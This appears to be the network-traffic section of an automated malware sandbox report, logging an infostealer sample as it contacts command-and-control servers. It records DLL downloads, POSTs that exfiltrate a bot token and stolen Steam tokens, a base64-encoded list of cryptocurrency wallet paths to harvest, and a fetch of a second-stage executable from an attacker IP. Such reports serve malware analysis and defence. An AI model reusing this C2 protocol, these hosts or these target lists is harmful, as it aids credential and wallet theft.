e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 25, 2024 16:21:43.121490955 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 16:21:43.573266029 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 25, 2024 16:21:44.246970892 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 25, 2024 16:21:44.697288990 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 25, 2024 16:21:45.504515886 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGHIDBKJEGIECBGIEHC Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 25, 2024 16:21:46.460592985 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 16:21:46.607614994 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="message"wallets------GCAKKECAEGDGCBFIJEGH--
Nov 25, 2024 16:21:47.061109066 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:46 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 25, 2024 16:21:47.256110907 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 2d 2d 0d 0a Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="message"files------GHJEGCAEGIIIDHIEBKEB--
Nov 25, 2024 16:21:47.710232019 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 16:21:47.734477997 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCBGIIJKEBFCBGDBAEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="file"------FHCBGIIJKEBFCBGDBAEB--
Nov 25, 2024 16:21:48.677951097 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 25, 2024 16:21:48.718251944 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 41 46 42 46 43 46 48 49 44 41 4b 46 49 49 45 42 41 2d 2d 0d 0a Data Ascii: ------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------DHDAFBFCFHIDAKFIIEBAContent-Disposition: form-data; name="message"ybncbhylepme------DHDAFBFCFHIDAKFIIEBA--
Nov 25, 2024 16:21:49.166903973 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 25, 2024 16:21:53.555521965 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJEGCAAECBFIEBGHJDG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 43 41 41 45 43 42 46 49 45 42 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 37 66 31 35 35 64 61 31 34 30 34 35 30 33 64 37 61 33 64 31 30 38 37 65 35 62 30 34 64 36 36 31 63 33 63 39 39 38 64 38 34 36 33 31 31 66 64 62 64 35 36 31 63 66 33 35 38 66 39 34 39 36 38 66 30 61 66 32 39 36 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 43 41 41 45 43 42 46 49 45 42 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 45 47 43 41 41 45 43 42 46 49 45 42 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJJEGCAAECBFIEBGHJDGContent-Disposition: form-data; name="token"e7f155da1404503d7a3d1087e5b04d661c3c998d846311fdbd561cf358f94968f0af2967------HJJEGCAAECBFIEBGHJDGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HJJEGCAAECBFIEBGHJDG--
Nov 25, 2024 16:21:54.506078959 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49889	185.215.113.16	80	6092	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 16:21:49.444245100 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	142.250.181.68	443	4836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:19 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-25 15:21:20 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:20 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-IVc57btux6Ay1fVMdImesQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-25 15:21:20 UTC	124	IN	Data Raw: 62 66 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 61 65 77 20 77 72 65 73 74 6c 69 6e 67 20 66 75 6c 6c 20 67 65 61 72 22 2c 22 72 6f 63 6b 65 74 20 6c 61 75 6e 63 68 20 73 70 61 63 65 78 20 66 61 6c 63 6f 6e 20 39 22 2c 22 6e 62 61 20 66 72 65 64 20 76 61 6e 76 6c 65 65 74 22 2c 22 74 68 61 6e 6b 73 67 69 76 69 6e 67 20 77 69 6e 74 65 72 20 73 74 6f 72 6d 20 66 6f 72 65 Data Ascii: bfe)]}'["",["aew wrestling full gear","rocket launch spacex falcon 9","nba fred vanvleet","thanksgiving winter storm fore
2024-11-25 15:21:20 UTC	1390	IN	Data Raw: 63 61 73 74 20 73 6e 6f 77 22 2c 22 61 6d 65 72 69 63 61 6e 20 61 69 72 6c 69 6e 65 73 20 62 6f 61 72 64 69 6e 67 20 67 61 74 65 20 6c 69 63 65 22 2c 22 6e 69 6e 74 65 6e 64 6f 20 73 77 69 74 63 68 22 2c 22 72 65 69 6e 63 61 72 6e 61 74 69 6f 6e 20 6b 65 6e 64 72 69 63 6b 20 6c 61 6d 61 72 20 6c 79 72 69 63 73 22 2c 22 6e 62 61 20 72 75 6d 6f 72 73 20 6c 61 6b 65 72 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e Data Ascii: cast snow","american airlines boarding gate lice","nintendo switch","reincarnation kendrick lamar lyrics","nba rumors lakers"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmN
2024-11-25 15:21:20 UTC	1390	IN	Data Raw: 46 5a 56 68 32 57 45 5a 54 63 47 70 51 62 6e 52 54 62 32 68 49 4b 33 55 79 61 57 30 77 64 6e 4e 5a 57 46 5a 43 54 55 56 53 61 6d 39 76 62 33 45 72 54 48 64 76 62 32 39 76 61 45 59 76 57 48 6c 32 51 6a 42 71 59 7a 56 52 56 48 56 57 52 6c 6c 56 4b 32 74 6b 4f 57 39 36 4b 31 64 68 55 54 64 61 63 56 45 7a 65 55 78 47 59 32 64 6c 52 33 6c 35 65 48 52 56 4e 6e 42 61 55 31 5a 61 4e 31 6c 4b 51 55 68 36 4e 53 74 57 56 6b 4d 32 54 33 64 53 52 57 4e 5a 64 55 78 36 56 47 4a 4d 4e 6b 5a 4f 63 55 52 70 64 32 35 6a 51 30 52 72 52 44 4a 36 57 45 31 46 4e 6a 41 7a 64 6c 4e 4f 65 6c 64 78 51 58 6b 34 4f 55 56 56 59 30 31 31 51 6b 63 34 54 30 6b 32 5a 30 74 42 4f 43 39 68 63 55 78 56 56 6d 6f 31 61 6b 35 45 63 33 5a 58 4d 48 45 35 65 6a 46 4a 5a 46 42 33 53 46 41 79 62 32 Data Ascii: FZVh2WEZTcGpQbnRTb2hIK3UyaW0wdnNZWFZCTUVSam9vb3ErTHdvb29vaEYvWHl2QjBqYzVRVHVWRllVK2tkOW96K1dhUTdacVEzeUxGY2dlR3l5eHRVNnBaU1ZaN1lKQUh6NStWVkM2T3dSRWNZdUx6VGJMNkZOcURpd25jQ0RrRDJ6WE1FNjAzdlNOeldxQXk4OUVVY011Qkc4T0k2Z0tBOC9hcUxVVmo1ak5Ec3ZXMHE5ejFJZFB3SFAyb2
2024-11-25 15:21:20 UTC	173	IN	Data Raw: 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: 143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","ENTITY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]
2024-11-25 15:21:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49711	142.250.181.68	443	4836	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:21 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
